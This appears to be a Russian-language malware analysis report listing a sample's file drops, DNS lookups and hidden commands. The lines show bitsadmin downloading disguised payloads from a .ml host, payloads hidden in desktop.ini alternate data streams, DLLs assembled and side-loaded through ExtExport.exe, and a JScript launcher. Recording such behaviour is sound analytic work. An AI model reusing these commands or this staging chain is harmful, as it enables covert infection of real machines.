Техническая информация
- '%WINDIR%\explorer.exe' /c, %HOMEPATH%\j64uvqE.jS
- %HOMEPATH%\j64uvqe.js
- C:\users\public\libraries\trust\bit25.tmp
- C:\users\public\libraries\trust\desktop.ini:landoqeahjkyxa.~
- C:\users\public\libraries\trust\bite52a.tmp
- C:\users\public\libraries\trust\desktop.ini:landoqeahjkyi.gif
- C:\users\public\libraries\trust\bitacb4.tmp
- C:\users\public\libraries\trust\desktop.ini:landoqeahjkygx.gif
- C:\users\public\libraries\trust\bit92f1.tmp
- C:\users\public\libraries\trust\desktop.ini:landoqeahjkyg.gif
- C:\users\public\libraries\trust\bit6f7a.tmp
- C:\users\public\libraries\trust\desktop.ini:landoqeahjkydx.gif
- C:\users\public\libraries\trust\bit5171.tmp
- C:\users\public\libraries\trust\desktop.ini:landoqeahjkydwwn.gif
- C:\users\public\libraries\trust\bit2b3b.tmp
- C:\users\public\libraries\trust\desktop.ini:landoqeahjkyc.jpg
- C:\users\public\libraries\trust\bit1428.tmp
- C:\users\public\libraries\trust\desktop.ini:landoqeahjkyb.jpg
- C:\users\public\libraries\trust\bitf4e7.tmp
- C:\users\public\libraries\trust\desktop.ini:landoqeahjkya.jpg
- C:\users\public\libraries\trust\bitd70d.tmp
- C:\users\public\libraries\trust\desktop.ini:landoqeahjkyxb.~
- C:\users\public\libraries\trust\bit1852.tmp
- C:\users\public\libraries\trust\bitd70d.tmp
- C:\users\public\libraries\trust\bitf4e7.tmp
- C:\users\public\libraries\trust\bit1428.tmp
- C:\users\public\libraries\trust\bit2b3b.tmp
- C:\users\public\libraries\trust\bit5171.tmp
- C:\users\public\libraries\trust\bit6f7a.tmp
- C:\users\public\libraries\trust\bit92f1.tmp
- C:\users\public\libraries\trust\bitacb4.tmp
- C:\users\public\libraries\trust\bite52a.tmp
- C:\users\public\libraries\trust\bit25.tmp
- C:\users\public\libraries\trust\bit1852.tmp
- C:\users\public\libraries\trust\landoqeahjkya.jpg
- C:\users\public\libraries\trust\landoqeahjkyb.jpg
- C:\users\public\libraries\trust\landoqeahjkyc.jpg
- C:\users\public\libraries\trust\landoqeahjkydwwn.gif
- C:\users\public\libraries\trust\landoqeahjkydx.gif
- C:\users\public\libraries\trust\landoqeahjkyg.gif
- C:\users\public\libraries\trust\landoqeahjkygx.gif
- C:\users\public\libraries\trust\landoqeahjkyi.gif
- C:\users\public\libraries\trust\landoqeahjkyxa.~
- C:\users\public\libraries\trust\landoqeahjkyxb.~
- C:\users\public\libraries\trust\bitd70d.tmp в C:\users\public\libraries\trust\landoqeahjkya.jpg
- C:\users\public\libraries\trust\bitf4e7.tmp в C:\users\public\libraries\trust\landoqeahjkyb.jpg
- C:\users\public\libraries\trust\bit1428.tmp в C:\users\public\libraries\trust\landoqeahjkyc.jpg
- C:\users\public\libraries\trust\bit2b3b.tmp в C:\users\public\libraries\trust\landoqeahjkydwwn.gif
- C:\users\public\libraries\trust\bit5171.tmp в C:\users\public\libraries\trust\landoqeahjkydx.gif
- C:\users\public\libraries\trust\bit6f7a.tmp в C:\users\public\libraries\trust\landoqeahjkyg.gif
- C:\users\public\libraries\trust\bit92f1.tmp в C:\users\public\libraries\trust\landoqeahjkygx.gif
- C:\users\public\libraries\trust\bitacb4.tmp в C:\users\public\libraries\trust\landoqeahjkyi.gif
- C:\users\public\libraries\trust\bite52a.tmp в C:\users\public\libraries\trust\landoqeahjkyxa.~
- C:\users\public\libraries\trust\bit25.tmp в C:\users\public\libraries\trust\landoqeahjkyxb.~
- C:\users\public\libraries\trust\bit1852.tmp в C:\users\public\libraries\trust\landoqeahjky64a.dll
- DNS ASK t2####tfaxelbyq.cf
- DNS ASK w0####b2aure5y7.ml
- '<SYSTEM32>\wscript.exe' "%HOMEPATH%\j64uvqE.Js"
- '<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\trust" && type landoqeahjky64a.dll landoqeahjky64b.dll > landoqeahjky64.dll' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\trust" && type landoqeahjky64a.dll landoqeahjky64b.dll > sqlite3.dll' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\trust" && type landoqeahjky64a.dll landoqeahjky64b.dll > mozsqlite3.dll' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\trust" && type landoqeahjky64a.dll landoqeahjky64b.dll > mozcrt19.dll' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /V /C "echo 145_MULT1T3SL4S_>C:\Users\Public\Libraries\trust\r1.log"&& exit' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer 78990 /priority foreground https://w0bphmb2aure5y7.ml/?09/landoqeahjkyhh10b.dll.zip C:\Users\Public\Libraries\trust\landoqeahjky64b.dll' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer 95366 /priority foreground https://w0bphmb2aure5y7.ml/?09/landoqeahjkyhh10a.dll.zip C:\Users\Public\Libraries\trust\landoqeahjky64a.dll' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\trust\landoqeahjkyxb.~" > "C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkyxb.~"&&erase "C:\Users\Public\Libraries\trust\landoqeahjkyxb.~"' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer 72823 /priority foreground https://w0bphmb2aure5y7.ml/?09/landoqeahjkyxb.gif.zip C:\Users\Public\Libraries\trust\landoqeahjkyxb.~' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\trust\landoqeahjkyxa.~" > "C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkyxa.~"&&erase "C:\Users\Public\Libraries\trust\landoqeahjkyxa.~"' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer 2561 /priority foreground https://w0bphmb2aure5y7.ml/?09/landoqeahjkyxa.gif.zip C:\Users\Public\Libraries\trust\landoqeahjkyxa.~' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\trust\landoqeahjkyi.gif" > "C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkyi.gif"&&erase "C:\Users\Public\Libraries\trust\landoqeahjkyi.gif"' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer 64153 /priority foreground https://w0bphmb2aure5y7.ml/?09/landoqeahjkyi.gif.zip C:\Users\Public\Libraries\trust\landoqeahjkyi.gif' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c "%ProgramFiles(x86)%\Internet Explorer\ExtExport.exe" C:\Users\Public\Libraries\trust 546784906 621922319' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\trust\landoqeahjkygx.gif" > "C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkygx.gif"&&erase "C:\Users\Public\Libraries\trust\landoqeahjkygx.gif"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\trust\landoqeahjkyg.gif" > "C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkyg.gif"&&erase "C:\Users\Public\Libraries\trust\landoqeahjkyg.gif"' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer 21249 /priority foreground https://w0bphmb2aure5y7.ml/?09/landoqeahjkyg.gif.zip C:\Users\Public\Libraries\trust\landoqeahjkyg.gif' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\trust\landoqeahjkydx.gif" > "C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkydx.gif"&&erase "C:\Users\Public\Libraries\trust\landoqeahjkydx.gif"' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer 36067 /priority foreground https://w0bphmb2aure5y7.ml/?09/landoqeahjkydx.gif.zip C:\Users\Public\Libraries\trust\landoqeahjkydx.gif' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\trust\landoqeahjkydwwn.gif" > "C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkydwwn.gif"&&erase "C:\Users\Public\Libraries\trust\landoqeahjkydwwn.gif"' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer 98533 /priority foreground https://w0bphmb2aure5y7.ml/?09/landoqeahjkydwwn.gif.zip C:\Users\Public\Libraries\trust\landoqeahjkydwwn.gif' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\trust\landoqeahjkyc.jpg" > "C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkyc.jpg"&&erase "C:\Users\Public\Libraries\trust\landoqeahjkyc.jpg"' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer 36125 /priority foreground https://w0bphmb2aure5y7.ml/?09/landoqeahjkyc.jpg.zip C:\Users\Public\Libraries\trust\landoqeahjkyc.jpg' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\trust\landoqeahjkyb.jpg" > "C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkyb.jpg"&&erase "C:\Users\Public\Libraries\trust\landoqeahjkyb.jpg"' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer 25203 /priority foreground https://w0bphmb2aure5y7.ml/?09/landoqeahjkyb.jpg.zip C:\Users\Public\Libraries\trust\landoqeahjkyb.jpg' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\trust\landoqeahjkya.jpg" > "C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkya.jpg"&&erase "C:\Users\Public\Libraries\trust\landoqeahjkya.jpg"' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer 79630 /priority foreground https://w0bphmb2aure5y7.ml/?09/landoqeahjkya.jpg.zip C:\Users\Public\Libraries\trust\landoqeahjkya.jpg' (со скрытым окном)
- '<SYSTEM32>\wscript.exe' "%HOMEPATH%\j64uvqE.Js"' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer 73753 /priority foreground https://w0bphmb2aure5y7.ml/?09/landoqeahjkygx.gif.zip C:\Users\Public\Libraries\trust\landoqeahjkygx.gif' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c echo %time% && timeout 4000 > NUL && exit' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /S /D /c" sET/p d6b05i3="%GXG:KUGF=%%Kk9uhjF:EYF=/%" 0<nul 1>%HOMEPATH%\j64uvqE.Js 2>&1"
- '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\trust\landoqeahjkyi.gif" > "C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkyi.gif"&&erase "C:\Users\Public\Libraries\trust\landoqeahjkyi.gif"
- '<SYSTEM32>\bitsadmin.exe' /transfer 2561 /priority foreground https://w0bphmb2aure5y7.ml/?09/landoqeahjkyxa.gif.zip C:\Users\Public\Libraries\trust\landoqeahjkyxa.~
- '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\trust\landoqeahjkyxa.~" > "C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkyxa.~"&&erase "C:\Users\Public\Libraries\trust\landoqeahjkyxa.~"
- '<SYSTEM32>\bitsadmin.exe' /transfer 72823 /priority foreground https://w0bphmb2aure5y7.ml/?09/landoqeahjkyxb.gif.zip C:\Users\Public\Libraries\trust\landoqeahjkyxb.~
- '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\trust\landoqeahjkyxb.~" > "C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkyxb.~"&&erase "C:\Users\Public\Libraries\trust\landoqeahjkyxb.~"
- '<SYSTEM32>\bitsadmin.exe' /transfer 95366 /priority foreground https://w0bphmb2aure5y7.ml/?09/landoqeahjkyhh10a.dll.zip C:\Users\Public\Libraries\trust\landoqeahjky64a.dll
- '<SYSTEM32>\cmd.exe' /V /C "echo 145_MULT1T3SL4S_>C:\Users\Public\Libraries\trust\r1.log"&& exit
- '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\trust\landoqeahjkyc.jpg" > "C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkyc.jpg"&&erase "C:\Users\Public\Libraries\trust\landoqeahjkyc.jpg"
- '<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\trust" && type landoqeahjky64a.dll landoqeahjky64b.dll > mozcrt19.dll
- '<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\trust" && type landoqeahjky64a.dll landoqeahjky64b.dll > mozsqlite3.dll
- '<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\trust" && type landoqeahjky64a.dll landoqeahjky64b.dll > sqlite3.dll
- '<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\trust" && type landoqeahjky64a.dll landoqeahjky64b.dll > landoqeahjky64.dll
- '<SYSTEM32>\cmd.exe' /c "%ProgramFiles(x86)%\Internet Explorer\ExtExport.exe" C:\Users\Public\Libraries\trust 546784906 621922319
- '%ProgramFiles(x86)%\internet explorer\extexport.exe' C:\Users\Public\Libraries\trust 546784906 621922319
- '<SYSTEM32>\bitsadmin.exe' /transfer 64153 /priority foreground https://w0bphmb2aure5y7.ml/?09/landoqeahjkyi.gif.zip C:\Users\Public\Libraries\trust\landoqeahjkyi.gif
- '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\trust\landoqeahjkygx.gif" > "C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkygx.gif"&&erase "C:\Users\Public\Libraries\trust\landoqeahjkygx.gif"
- '<SYSTEM32>\bitsadmin.exe' /transfer 73753 /priority foreground https://w0bphmb2aure5y7.ml/?09/landoqeahjkygx.gif.zip C:\Users\Public\Libraries\trust\landoqeahjkygx.gif
- '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\trust\landoqeahjkyg.gif" > "C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkyg.gif"&&erase "C:\Users\Public\Libraries\trust\landoqeahjkyg.gif"
- '<SYSTEM32>\bitsadmin.exe' /transfer 21249 /priority foreground https://w0bphmb2aure5y7.ml/?09/landoqeahjkyg.gif.zip C:\Users\Public\Libraries\trust\landoqeahjkyg.gif
- '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\trust\landoqeahjkydx.gif" > "C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkydx.gif"&&erase "C:\Users\Public\Libraries\trust\landoqeahjkydx.gif"
- '<SYSTEM32>\bitsadmin.exe' /transfer 36067 /priority foreground https://w0bphmb2aure5y7.ml/?09/landoqeahjkydx.gif.zip C:\Users\Public\Libraries\trust\landoqeahjkydx.gif
- '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\trust\landoqeahjkydwwn.gif" > "C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkydwwn.gif"&&erase "C:\Users\Public\Libraries\trust\landoqeahjkydwwn.gif"
- '<SYSTEM32>\bitsadmin.exe' /transfer 98533 /priority foreground https://w0bphmb2aure5y7.ml/?09/landoqeahjkydwwn.gif.zip C:\Users\Public\Libraries\trust\landoqeahjkydwwn.gif
- '<SYSTEM32>\bitsadmin.exe' /transfer 78990 /priority foreground https://w0bphmb2aure5y7.ml/?09/landoqeahjkyhh10b.dll.zip C:\Users\Public\Libraries\trust\landoqeahjky64b.dll
- '<SYSTEM32>\bitsadmin.exe' /transfer 36125 /priority foreground https://w0bphmb2aure5y7.ml/?09/landoqeahjkyc.jpg.zip C:\Users\Public\Libraries\trust\landoqeahjkyc.jpg
- '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\trust\landoqeahjkyb.jpg" > "C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkyb.jpg"&&erase "C:\Users\Public\Libraries\trust\landoqeahjkyb.jpg"
- '<SYSTEM32>\bitsadmin.exe' /transfer 25203 /priority foreground https://w0bphmb2aure5y7.ml/?09/landoqeahjkyb.jpg.zip C:\Users\Public\Libraries\trust\landoqeahjkyb.jpg
- '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\trust\landoqeahjkya.jpg" > "C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkya.jpg"&&erase "C:\Users\Public\Libraries\trust\landoqeahjkya.jpg"
- '<SYSTEM32>\bitsadmin.exe' /transfer 79630 /priority foreground https://w0bphmb2aure5y7.ml/?09/landoqeahjkya.jpg.zip C:\Users\Public\Libraries\trust\landoqeahjkya.jpg
- '<SYSTEM32>\cmd.exe' /S /D /c" exiT"
- '<SYSTEM32>\cmd.exe' /S /D /c" call %YKO:VZJD=% %HOMEPATH%\j64uvqE.jS 2>&1"
- '<SYSTEM32>\cmd.exe' /c echo %time% && timeout 4000 > NUL && exit
- '<SYSTEM32>\timeout.exe' 4000